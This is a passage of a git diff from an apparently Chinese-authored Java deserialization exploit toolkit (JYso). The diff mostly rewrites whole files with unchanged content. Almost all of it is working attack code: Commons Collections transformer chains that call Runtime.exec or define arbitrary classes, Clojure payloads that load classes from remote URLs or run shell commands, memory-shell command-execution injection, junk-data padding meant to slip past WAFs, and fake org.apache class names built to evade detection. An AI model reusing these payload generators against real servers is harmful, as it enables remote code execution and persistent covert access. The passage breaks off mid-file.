ConstantTransformer(1)}; + } else if (command.startsWith("LF-")) { + CtClass ctClass = generateClass(command); + + if (USING_MOZILLA_DEFININGCLASSLOADER) { + // 使用 DefiningClassLoader 加载,不是所有 JDK 均有 org.mozilla.javascript.DefiningClassLoader + // 在 NC 中可以使用 + transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)}; + } else { + // 使用 ScriptEngineManager JS eval 加载 + transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"JavaScript"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{Utils.getJSEngineValue(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode())})}; + } + } else { + transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)}; + } + return transformers; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/clojure/ClojureUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/clojure/ClojureUtil.java index 13c2580..88b5aca 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/clojure/ClojureUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/clojure/ClojureUtil.java @@ -1,25 +1,25 @@ -package com.qi4l.JYso.gadgets.utils.clojure; - -import com.qi4l.JYso.gadgets.utils.StringUtil; -import com.qi4l.JYso.gadgets.utils.Utils; - -import java.util.Arrays; - -public class ClojureUtil { - - public static String makeClojurePayload(String command) { - if (command.startsWith("TS-")) - return "(java.lang.Thread/sleep " + (Integer.parseInt(command.split("-")[1]) * 1000) + ")"; - if (command.startsWith("RC-")) { - String[] strings = Utils.handlerCommand(command); - return "(def urlStr (new String \"" + strings[0] + "\"))\n(def url (new java.net.URL urlStr))\n(def loader (new java.net.URLClassLoader (into-array [url])))\n(def clazz (.loadClass loader \"" + strings[1] + "\"))\n(.newInstance clazz)"; - } - if (command.startsWith("WF-")) { - String[] strings = Utils.handlerCommand(command); - return "(def path (new String \"" + strings[0] + "\"))\n(def out (new java.io.FileOutputStream path))\n(def byts (.getObject \"" + strings[1] + "\"))\n(.write out byts)"; - } - String cmd = StringUtil.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\").split(" ")), " ", "\"", "\""); - return String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)(println \"QI4L\")", cmd); - } - -} +package com.qi4l.JYso.gadgets.utils.clojure; + +import com.qi4l.JYso.gadgets.utils.StringUtil; +import com.qi4l.JYso.gadgets.utils.Utils; + +import java.util.Arrays; + +public class ClojureUtil { + + public static String makeClojurePayload(String command) { + if (command.startsWith("TS-")) + return "(java.lang.Thread/sleep " + (Integer.parseInt(command.split("-")[1]) * 1000) + ")"; + if (command.startsWith("RC-")) { + String[] strings = Utils.handlerCommand(command); + return "(def urlStr (new String \"" + strings[0] + "\"))\n(def url (new java.net.URL urlStr))\n(def loader (new java.net.URLClassLoader (into-array [url])))\n(def clazz (.loadClass loader \"" + strings[1] + "\"))\n(.newInstance clazz)"; + } + if (command.startsWith("WF-")) { + String[] strings = Utils.handlerCommand(command); + return "(def path (new String \"" + strings[0] + "\"))\n(def out (new java.io.FileOutputStream path))\n(def byts (.getObject \"" + strings[1] + "\"))\n(.write out byts)"; + } + String cmd = StringUtil.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\").split(" ")), " ", "\"", "\""); + return String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)(println \"QI4L\")", cmd); + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/DirtyDataWrapper.java b/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/DirtyDataWrapper.java index 7987f01..ab1d63f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/DirtyDataWrapper.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/DirtyDataWrapper.java @@ -1,111 +1,111 @@ -package com.qi4l.JYso.gadgets.utils.dirty; - -import com.qi4l.JYso.gadgets.Config.Config; -import com.qi4l.JYso.gadgets.utils.Utils; - -import java.util.*; -import java.util.concurrent.ThreadLocalRandom; - -/** - * 来自 c0ny1 - *

- * Java反序列化数据绕WAF之加大量脏数据 - * 链接:... - */ -public class DirtyDataWrapper { - - // 脏数据大小 - private final int dirtyDataSize; - - private final int dirtyDataType; - - // gadget 对象 - private final Object gadget; // gadget对象 - - public DirtyDataWrapper(Object gadget, int dirtyDataType, int dirtyDataSize) { - this.gadget = gadget; - this.dirtyDataType = dirtyDataType; - this.dirtyDataSize = dirtyDataSize; - } - - /** - * 脏数据填充反序列化利用链 - * - * @return 返回包裹后的反序列化数据 - */ - public Object doWrap() { - - Object wrapper = null; - - // 如果混淆长度为 0 则不混淆 - if (dirtyDataSize == 0) { - return gadget; - } - - switch (dirtyDataType) { - // type 为 1 时,随机使用 ArrayList/LinkedList/HashMap/LinkedHashMap/TreeMap 等集合类型来封装 object,并指定脏数据大小 - // by c0ny1 - case 1: - // 生成随机字符串 - String dirtyData = new RandomString((dirtyDataSize), ThreadLocalRandom.current()).getString(); - String randStr1 = new RandomString((int) (Math.random() * 10) % 10 + 1, ThreadLocalRandom.current()).getString(); - String randStr2 = new RandomString((int) (Math.random() * 10) % 10 + 1, ThreadLocalRandom.current()).getString(); - // 随机选择封装对象 - int type = ThreadLocalRandom.current().nextInt(5); - switch (type) { - case 0: - List arrayList = new ArrayList<>(); - arrayList.add(dirtyData); - arrayList.add(gadget); - wrapper = arrayList; - break; - case 1: - List linkedList = new LinkedList<>(); - linkedList.add(dirtyData); - linkedList.add(gadget); - wrapper = linkedList; - break; - case 2: - HashMap map = new HashMap<>(); - map.put(randStr1, dirtyData); - map.put(randStr2, gadget); - wrapper = map; - break; - case 3: - LinkedHashMap linkedHashMap = new LinkedHashMap<>(); - linkedHashMap.put(randStr1, dirtyData); - linkedHashMap.put(randStr2, gadget); - wrapper = linkedHashMap; - break; - case 4: - TreeMap treeMap = new TreeMap<>(); - treeMap.put(randStr1, dirtyData); - treeMap.put(randStr2, gadget); - wrapper = treeMap; - break; - default: - } - break; - // type 为 2 时,使用循环嵌套 LinkedList 来封装 object - // by Y4tacker - case 2: - List linkedList = new LinkedList<>(); - for (int i = 0; i < dirtyDataSize; i++) { - linkedList.add(Utils.makeClass("A" + System.nanoTime())); - } - linkedList.add(gadget); - wrapper = linkedList; - break; - // type 为 3 时,在 TC_RESET 中加入脏数据 - // by phith0n - case 3: - Config.IS_DIRTY_IN_TC_RESET = true; - Config.DIRTY_LENGTH_IN_TC_RESET = dirtyDataSize; - wrapper = gadget; - break; - } - - return wrapper; - } - -} +package com.qi4l.JYso.gadgets.utils.dirty; + +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.utils.Utils; + +import java.util.*; +import java.util.concurrent.ThreadLocalRandom; + +/** + * 来自 c0ny1 + *

+ * Java反序列化数据绕WAF之加大量脏数据 + * 链接:... + */ +public class DirtyDataWrapper { + + // 脏数据大小 + private final int dirtyDataSize; + + private final int dirtyDataType; + + // gadget 对象 + private final Object gadget; // gadget对象 + + public DirtyDataWrapper(Object gadget, int dirtyDataType, int dirtyDataSize) { + this.gadget = gadget; + this.dirtyDataType = dirtyDataType; + this.dirtyDataSize = dirtyDataSize; + } + + /** + * 脏数据填充反序列化利用链 + * + * @return 返回包裹后的反序列化数据 + */ + public Object doWrap() { + + Object wrapper = null; + + // 如果混淆长度为 0 则不混淆 + if (dirtyDataSize == 0) { + return gadget; + } + + switch (dirtyDataType) { + // type 为 1 时,随机使用 ArrayList/LinkedList/HashMap/LinkedHashMap/TreeMap 等集合类型来封装 object,并指定脏数据大小 + // by c0ny1 + case 1: + // 生成随机字符串 + String dirtyData = new RandomString((dirtyDataSize), ThreadLocalRandom.current()).getString(); + String randStr1 = new RandomString((int) (Math.random() * 10) % 10 + 1, ThreadLocalRandom.current()).getString(); + String randStr2 = new RandomString((int) (Math.random() * 10) % 10 + 1, ThreadLocalRandom.current()).getString(); + // 随机选择封装对象 + int type = ThreadLocalRandom.current().nextInt(5); + switch (type) { + case 0: + List arrayList = new ArrayList<>(); + arrayList.add(dirtyData); + arrayList.add(gadget); + wrapper = arrayList; + break; + case 1: + List linkedList = new LinkedList<>(); + linkedList.add(dirtyData); + linkedList.add(gadget); + wrapper = linkedList; + break; + case 2: + HashMap map = new HashMap<>(); + map.put(randStr1, dirtyData); + map.put(randStr2, gadget); + wrapper = map; + break; + case 3: + LinkedHashMap linkedHashMap = new LinkedHashMap<>(); + linkedHashMap.put(randStr1, dirtyData); + linkedHashMap.put(randStr2, gadget); + wrapper = linkedHashMap; + break; + case 4: + TreeMap treeMap = new TreeMap<>(); + treeMap.put(randStr1, dirtyData); + treeMap.put(randStr2, gadget); + wrapper = treeMap; + break; + default: + } + break; + // type 为 2 时,使用循环嵌套 LinkedList 来封装 object + // by Y4tacker + case 2: + List linkedList = new LinkedList<>(); + for (int i = 0; i < dirtyDataSize; i++) { + linkedList.add(Utils.makeClass("A" + System.nanoTime())); + } + linkedList.add(gadget); + wrapper = linkedList; + break; + // type 为 3 时,在 TC_RESET 中加入脏数据 + // by phith0n + case 3: + Config.IS_DIRTY_IN_TC_RESET = true; + Config.DIRTY_LENGTH_IN_TC_RESET = dirtyDataSize; + wrapper = gadget; + break; + } + + return wrapper; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/RandomString.java b/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/RandomString.java index 3b748d0..5722a94 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/RandomString.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/RandomString.java @@ -1,57 +1,57 @@ -package com.qi4l.JYso.gadgets.utils.dirty; - -import java.util.Locale; -import java.util.Objects; -import java.util.Random; - -public class RandomString { - - /** - * 26个大写字母 - */ - public static final String upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - - /** - * 26个小写字母 - */ - public static final String lower = upper.toLowerCase(Locale.ROOT); - /** - * alphanum为26个大写字母+26个小写字母+10个数字。产生的随机字符串从此挑选字符生成 - */ - public static final String digits = "0123456789"; - public static final String alphanum = upper + lower + digits; - /** - * 数字 - */ - - private final Random random; - - private final char[] symbols; - - private final char[] buf; - - public RandomString(int length, Random random, String symbols) { - if (length < 1) throw new IllegalArgumentException(); - if (symbols.length() < 2) throw new IllegalArgumentException(); - this.random = Objects.requireNonNull(random); - this.symbols = symbols.toCharArray(); - this.buf = new char[length]; - } - - /** - * 通过字母数字字符串生成器生成随机字符串。 - */ - public RandomString(int length, Random random) { - this(length, random, alphanum); - } - - /** - * 生成随机字符串 - */ - public String getString() { - for (int idx = 0; idx < buf.length; ++idx) { - buf[idx] = symbols[random.nextInt(symbols.length)]; - } - return new String(buf); - } -} +package com.qi4l.JYso.gadgets.utils.dirty; + +import java.util.Locale; +import java.util.Objects; +import java.util.Random; + +public class RandomString { + + /** + * 26个大写字母 + */ + public static final String upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + + /** + * 26个小写字母 + */ + public static final String lower = upper.toLowerCase(Locale.ROOT); + /** + * alphanum为26个大写字母+26个小写字母+10个数字。产生的随机字符串从此挑选字符生成 + */ + public static final String digits = "0123456789"; + public static final String alphanum = upper + lower + digits; + /** + * 数字 + */ + + private final Random random; + + private final char[] symbols; + + private final char[] buf; + + public RandomString(int length, Random random, String symbols) { + if (length < 1) throw new IllegalArgumentException(); + if (symbols.length() < 2) throw new IllegalArgumentException(); + this.random = Objects.requireNonNull(random); + this.symbols = symbols.toCharArray(); + this.buf = new char[length]; + } + + /** + * 通过字母数字字符串生成器生成随机字符串。 + */ + public RandomString(int length, Random random) { + this(length, random, alphanum); + } + + /** + * 生成随机字符串 + */ + public String getString() { + for (int idx = 0; idx < buf.length; ++idx) { + buf[idx] = symbols[random.nextInt(symbols.length)]; + } + return new String(buf); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassFieldHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassFieldHandler.java index 8ccfa29..0ae32dc 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassFieldHandler.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassFieldHandler.java @@ -1,40 +1,40 @@ -package com.qi4l.JYso.gadgets.utils.handle; - -import com.qi4l.JYso.gadgets.utils.InjShell; -import javassist.CtClass; -import javassist.CtField; - -public class ClassFieldHandler { - public static void insertField(CtClass ctClass, String fieldName, String fieldCode) throws Exception { - InjShell.insertField(ctClass, fieldName, fieldCode); - } - - - /** - * 将 Field String 转一层,实际用处不大 - * - * @param target Field String 值 - * @return 替换后的 String - */ - public static String converString(String target) { - return InjShell.converString(target); - } - - /** - * 只有在原 Class 已经有此 Field 的情况下才加入 - * - * @param ctClass CtClass - * @param fieldName field 名称 - * @param fieldCode field 代码 - * @throws Exception 抛出异常 - */ - public static void insertFieldIfExists(CtClass ctClass, String fieldName, String fieldCode) throws Exception { - ctClass.defrost(); - try { - CtField field = ctClass.getDeclaredField(fieldName); - ctClass.removeField(field); - ctClass.addField(CtField.make(fieldCode, ctClass)); - } catch (javassist.NotFoundException ignored) { - } - } -} +package com.qi4l.JYso.gadgets.utils.handle; + +import com.qi4l.JYso.gadgets.utils.InjShell; +import javassist.CtClass; +import javassist.CtField; + +public class ClassFieldHandler { + public static void insertField(CtClass ctClass, String fieldName, String fieldCode) throws Exception { + InjShell.insertField(ctClass, fieldName, fieldCode); + } + + + /** + * 将 Field String 转一层,实际用处不大 + * + * @param target Field String 值 + * @return 替换后的 String + */ + public static String converString(String target) { + return InjShell.converString(target); + } + + /** + * 只有在原 Class 已经有此 Field 的情况下才加入 + * + * @param ctClass CtClass + * @param fieldName field 名称 + * @param fieldCode field 代码 + * @throws Exception 抛出异常 + */ + public static void insertFieldIfExists(CtClass ctClass, String fieldName, String fieldCode) throws Exception { + ctClass.defrost(); + try { + CtField field = ctClass.getDeclaredField(fieldName); + ctClass.removeField(field); + ctClass.addField(CtField.make(fieldCode, ctClass)); + } catch (javassist.NotFoundException ignored) { + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java index 0bdd2fa..5e41bd0 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java @@ -1,77 +1,77 @@ -package com.qi4l.JYso.gadgets.utils.handle; - -import com.qi4l.JYso.gadgets.Config.Config; -import com.qi4l.JYso.gadgets.Config.MemShellPayloads; -import com.qi4l.JYso.gadgets.utils.Utils; -import javassist.CtClass; -import javassist.CtMethod; -import javassist.NotFoundException; - -public class ClassMethodHandler { - /** - * 向指定的 ctClass 中插入方法,使用 insertBefore,不影响原有逻辑 - * - * @param ctClass 目标 CtClass - * @param method 方法名 - * @param payload 方法内容 String - * @throws Exception 抛出异常 - */ - public static void insertMethod(CtClass ctClass, String method, String payload) throws Exception { - CtMethod cm = ctClass.getDeclaredMethod(method); - cm.insertBefore(payload); - } - - /** - * 向指定类中写入命令执行方法 execCmd - * 方法需要 toCString getMethodByClass getMethodAndInvoke getFieldValue 依赖方法 - * - * @param ctClass 指定类 - * @throws Exception 抛出异常 - */ - public static void insertCMD(CtClass ctClass) throws Exception { - if (Config.IS_OBSCURE) { - insertGetUnsafe(ctClass); - ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.TO_CSTRING_Method), ctClass)); - insertGetMethodAndInvoke(ctClass); - insertGetFieldValue(ctClass); - ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.EXEC_CMD_OBSCURE), ctClass)); - } else { - ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.EXEC_CMD), ctClass)); - } - } - - public static void insertGetFieldValue(CtClass ctClass) throws Exception { - try { - ctClass.getDeclaredMethod("getFieldValue"); - } catch (NotFoundException e) { - ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_FIELD_VALUE), ctClass)); - } - } - - public static void insertGetUnsafe(CtClass ctClass) throws Exception { - try { - ctClass.getDeclaredMethod("getUnsafe"); - } catch (NotFoundException e) { - ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_UNSAFE), ctClass)); - } - } - - - public static void insertGetMethodAndInvoke(CtClass ctClass) throws Exception { - try { - ctClass.getDeclaredMethod("getMethodByClass"); - } catch (NotFoundException e) { - ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_METHOD_BY_CLASS), ctClass)); - } - - try { - ctClass.getDeclaredMethod("getMethodAndInvoke"); - } catch (NotFoundException e) { - if (Config.IS_OBSCURE) { - ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_METHOD_AND_INVOKE_OBSCURE), ctClass)); - } else { - ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_METHOD_AND_INVOKE), ctClass)); - } - } - } -} +package com.qi4l.JYso.gadgets.utils.handle; + +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.Config.MemShellPayloads; +import com.qi4l.JYso.gadgets.utils.Utils; +import javassist.CtClass; +import javassist.CtMethod; +import javassist.NotFoundException; + +public class ClassMethodHandler { + /** + * 向指定的 ctClass 中插入方法,使用 insertBefore,不影响原有逻辑 + * + * @param ctClass 目标 CtClass + * @param method 方法名 + * @param payload 方法内容 String + * @throws Exception 抛出异常 + */ + public static void insertMethod(CtClass ctClass, String method, String payload) throws Exception { + CtMethod cm = ctClass.getDeclaredMethod(method); + cm.insertBefore(payload); + } + + /** + * 向指定类中写入命令执行方法 execCmd + * 方法需要 toCString getMethodByClass getMethodAndInvoke getFieldValue 依赖方法 + * + * @param ctClass 指定类 + * @throws Exception 抛出异常 + */ + public static void insertCMD(CtClass ctClass) throws Exception { + if (Config.IS_OBSCURE) { + insertGetUnsafe(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.TO_CSTRING_Method), ctClass)); + insertGetMethodAndInvoke(ctClass); + insertGetFieldValue(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.EXEC_CMD_OBSCURE), ctClass)); + } else { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.EXEC_CMD), ctClass)); + } + } + + public static void insertGetFieldValue(CtClass ctClass) throws Exception { + try { + ctClass.getDeclaredMethod("getFieldValue"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_FIELD_VALUE), ctClass)); + } + } + + public static void insertGetUnsafe(CtClass ctClass) throws Exception { + try { + ctClass.getDeclaredMethod("getUnsafe"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_UNSAFE), ctClass)); + } + } + + + public static void insertGetMethodAndInvoke(CtClass ctClass) throws Exception { + try { + ctClass.getDeclaredMethod("getMethodByClass"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_METHOD_BY_CLASS), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getMethodAndInvoke"); + } catch (NotFoundException e) { + if (Config.IS_OBSCURE) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_METHOD_AND_INVOKE_OBSCURE), ctClass)); + } else { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_METHOD_AND_INVOKE), ctClass)); + } + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java index ac6eeaf..c545894 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java @@ -1,120 +1,120 @@ -package com.qi4l.JYso.gadgets.utils.handle; - -import com.qi4l.JYso.gadgets.utils.SuClassLoader; - -import java.io.File; -import java.net.JarURLConnection; -import java.net.URL; -import java.util.Enumeration; -import java.util.HashSet; -import java.util.Set; -import java.util.jar.JarEntry; -import java.util.jar.JarFile; - -public class ClassNameHandler { - public static ClassLoader loader = new SuClassLoader(); - - public static Set set = null; - - /** - * 生成一个咋一下不出来问题的,但是在用户实际环境不存在的类名 - * 本来想直接用哥斯拉的 txt,但估计特征都被搞完了,这里自实现一个方法 - * 因为 apache 基金会的开源项目非常多,几乎大多数项目都会用到,所以看到 org.apache 包名的类也不会惊讶 - * 这里的逻辑是,获取目前项目中所有 org.apache 包下的类名,随机取两个,第一个取前三个包名,第二个取后三个包名进行拼接 - * - * @return 返回类型 - */ - public static String generateClassName() { - if (set == null) { - set = getClassSet("org.apache"); - } - Object[] array = set.toArray(); - - String name1 = array[(int) (Math.random() * array.length)].toString(); - String name2 = name1; - - while (name1.equals(name2)) { - name2 = array[(int) (Math.random() * array.length)].toString(); - } - - // 获取第一个包的前三个包名 - name1 = name1.substring(0, name1.indexOf(".", 11)); - - // 获取第二个包的后三个包名 - String temp = name2.substring(0, name2.lastIndexOf(".")); - temp = temp.substring(0, temp.lastIndexOf(".")); - temp = temp.substring(0, temp.lastIndexOf(".")); - name2 = name2.substring(temp.length()); - - String newName = name1 + name2; - - if (set.contains(newName)) { - return generateClassName(); - } else { - return newName; - } - } - - public static Set getClassSet(String packageName) { - Set classSet = new HashSet<>(); - try { - Enumeration urls = loader.getResources(packageName.replace(".", "/")); - while (urls.hasMoreElements()) { - URL url = urls.nextElement(); - if (url != null) { - String protocol = url.getProtocol(); - if (protocol.equals("jar")) { - JarURLConnection jarURLConnection = (JarURLConnection) url.openConnection(); - if (jarURLConnection != null) { - JarFile jarFile = jarURLConnection.getJarFile(); - if (jarFile != null) { - Enumeration jarEntries = jarFile.entries(); - while (jarEntries.hasMoreElements()) { - JarEntry jarEntry = jarEntries.nextElement(); - String jarEntryName = jarEntry.getName(); - if (jarEntryName.endsWith(".class")) { - String className = jarEntryName.substring(0, jarEntryName.lastIndexOf(".")).replaceAll("/", "."); - if (!className.contains("$") && className.startsWith(packageName)) { - classSet.add(className); - } - } - } - } - } - } else if (protocol.equals("file")) { - listClassesInDirectory(new File(url.getFile()), classSet, packageName); - } - } - } - } catch (Exception ignored) { - } - return classSet; - } - - // 方便不编译成 jar 时调试 - private static void listClassesInDirectory(File directory, Set classNames, String packageName) { - File[] files = directory.listFiles(); - if (files != null) { - for (File file : files) { - if (file.isDirectory()) { - listClassesInDirectory(file, classNames, packageName); - } else if (file.getName().endsWith(".class")) { - String fullName = file.getPath().replace(".class", ""); - String path = packageName.replace(".", "/"); - classNames.add(fullName.substring(fullName.replace("\\", "/").indexOf(path)).replace("/", ".")); - } - } - } - } - - - public static String searchClassByName(String name) { - Set set = getClassSet("com.qi4l.JYso.template."); - for (String fullName : set) { - if (fullName.endsWith(name)) { - return fullName.replace("\\", "."); - } - } - return null; - } -} +package com.qi4l.JYso.gadgets.utils.handle; + +import com.qi4l.JYso.gadgets.utils.SuClassLoader; + +import java.io.File; +import java.net.JarURLConnection; +import java.net.URL; +import java.util.Enumeration; +import java.util.HashSet; +import java.util.Set; +import java.util.jar.JarEntry; +import java.util.jar.JarFile; + +public class ClassNameHandler { + public static ClassLoader loader = new SuClassLoader(); + + public static Set set = null; + + /** + * 生成一个咋一下不出来问题的,但是在用户实际环境不存在的类名 + * 本来想直接用哥斯拉的 txt,但估计特征都被搞完了,这里自实现一个方法 + * 因为 apache 基金会的开源项目非常多,几乎大多数项目都会用到,所以看到 org.apache 包名的类也不会惊讶 + * 这里的逻辑是,获取目前项目中所有 org.apache 包下的类名,随机取两个,第一个取前三个包名,第二个取后三个包名进行拼接 + * + * @return 返回类型 + */ + public static String generateClassName() { + if (set == null) { + set = getClassSet("org.apache"); + } + Object[] array = set.toArray(); + + String name1 = array[(int) (Math.random() * array.length)].toString(); + String name2 = name1; + + while (name1.equals(name2)) { + name2 = array[(int) (Math.random() * array.length)].toString(); + } + + // 获取第一个包的前三个包名 + name1 = name1.substring(0, name1.indexOf(".", 11)); + + // 获取第二个包的后三个包名 + String temp = name2.substring(0, name2.lastIndexOf(".")); + temp = temp.substring(0, temp.lastIndexOf(".")); + temp = temp.substring(0, temp.lastIndexOf(".")); + name2 = name2.substring(temp.length()); + + String newName = name1 + name2; + + if (set.contains(newName)) { + return generateClassName(); + } else { + return newName; + } + } + + public static Set getClassSet(String packageName) { + Set classSet = new HashSet<>(); + try { + Enumeration urls = loader.getResources(packageName.replace(".", "/")); + while (urls.hasMoreElements()) { + URL url = urls.nextElement(); + if (url != null) { + String protocol = url.getProtocol(); + if (protocol.equals("jar")) { + JarURLConnection jarURLConnection = (JarURLConnection) url.openConnection(); + if (jarURLConnection != null) { + JarFile jarFile = jarURLConnection.getJarFile(); + if (jarFile != null) { + Enumeration jarEntries = jarFile.entries(); + while (jarEntries.hasMoreElements()) { + JarEntry jarEntry = jarEntries.nextElement(); + String jarEntryName = jarEntry.getName(); + if (jarEntryName.endsWith(".class")) { + String className = jarEntryName.substring(0, jarEntryName.lastIndexOf(".")).replaceAll("/", "."); + if (!className.contains("$") && className.startsWith(packageName)) { + classSet.add(className); + } + } + } + } + } + } else if (protocol.equals("file")) { + listClassesInDirectory(new File(url.getFile()), classSet, packageName); + } + } + } + } catch (Exception ignored) { + } + return classSet; + } + + // 方便不编译成 jar 时调试 + private static void listClassesInDirectory(File directory, Set classNames, String packageName) { + File[] files = directory.listFiles(); + if (files != null) { + for (File file : files) { + if (file.isDirectory()) { + listClassesInDirectory(file, classNames, packageName); + } else if (file.getName().endsWith(".class")) { + String fullName = file.getPath().replace(".class", ""); + String path = packageName.replace(".", "/"); + classNames.add(fullName.substring(fullName.replace("\\", "/").indexOf(path)).replace("/", ".")); + } + } + } + } + + + public static String searchClassByName(String name) { + Set set = getClassSet("com.qi4l.JYso.template."); + for (String fullName : set) { + if (fullName.endsWith(name)) { + return fullName.replace("\\", "."); + } + } + return null; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java index 0ee18df..697c9d9 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java @@ -1,59 +1,59 @@ -package com.qi4l.JYso.gadgets.utils.handle; - -import com.qi4l.JYso.gadgets.Config.Config; -import com.qi4l.JYso.gadgets.utils.Utils; -import javassist.CtClass; -import javassist.bytecode.*; - -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -public class GlassHandler { - public static CtClass generateClass(String target) throws Exception { - String newClassName = ClassNameHandler.generateClassName(); - CtClass ctClass = generateClass(target, newClassName); - - // 如果需要,保存类文件 - Utils.saveCtClassToFile(ctClass); - return ctClass; - } - - - public static CtClass generateClass(String target, String newClassName) throws Exception { - // 如果命令以 LF- 开头 (Local File),则程序可以生成一个能加载本地指定类字节码并初始化的逻辑,后面跟文件路径-类名 - if (target.startsWith("LF-")) { - target = target.substring(3); - String filePath = target.contains("-") ? target.split("-")[0] : target; - CtClass ctClass = Config.POOL.makeClass(Files.newInputStream(Paths.get(filePath))); - ctClass.setName(newClassName); - - // 对本地加载的类进行缩短操作 - shrinkBytes(ctClass); - - // 使用 ClassLoaderTemplate 进行加载 - return Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); - } - - return null; - } - - - // 统一处理,删除一些不影响使用的 Attribute 降低类字节码的大小 - public static void shrinkBytes(CtClass ctClass) { - ClassFile classFile = ctClass.getClassFile2(); - classFile.removeAttribute(SourceFileAttribute.tag); - classFile.removeAttribute(LineNumberAttribute.tag); - classFile.removeAttribute(LocalVariableAttribute.tag); - classFile.removeAttribute(LocalVariableAttribute.typeTag); - classFile.removeAttribute(DeprecatedAttribute.tag); - classFile.removeAttribute(SignatureAttribute.tag); - classFile.removeAttribute(StackMapTable.tag); - - List list = classFile.getMethods(); - for (MethodInfo info : list) { - info.removeAttribute("RuntimeVisibleAnnotations"); - info.removeAttribute("RuntimeInvisibleAnnotations"); - } - } -} +package com.qi4l.JYso.gadgets.utils.handle; + +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.utils.Utils; +import javassist.CtClass; +import javassist.bytecode.*; + +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.List; + +public class GlassHandler { + public static CtClass generateClass(String target) throws Exception { + String newClassName = ClassNameHandler.generateClassName(); + CtClass ctClass = generateClass(target, newClassName); + + // 如果需要,保存类文件 + Utils.saveCtClassToFile(ctClass); + return ctClass; + } + + + public static CtClass generateClass(String 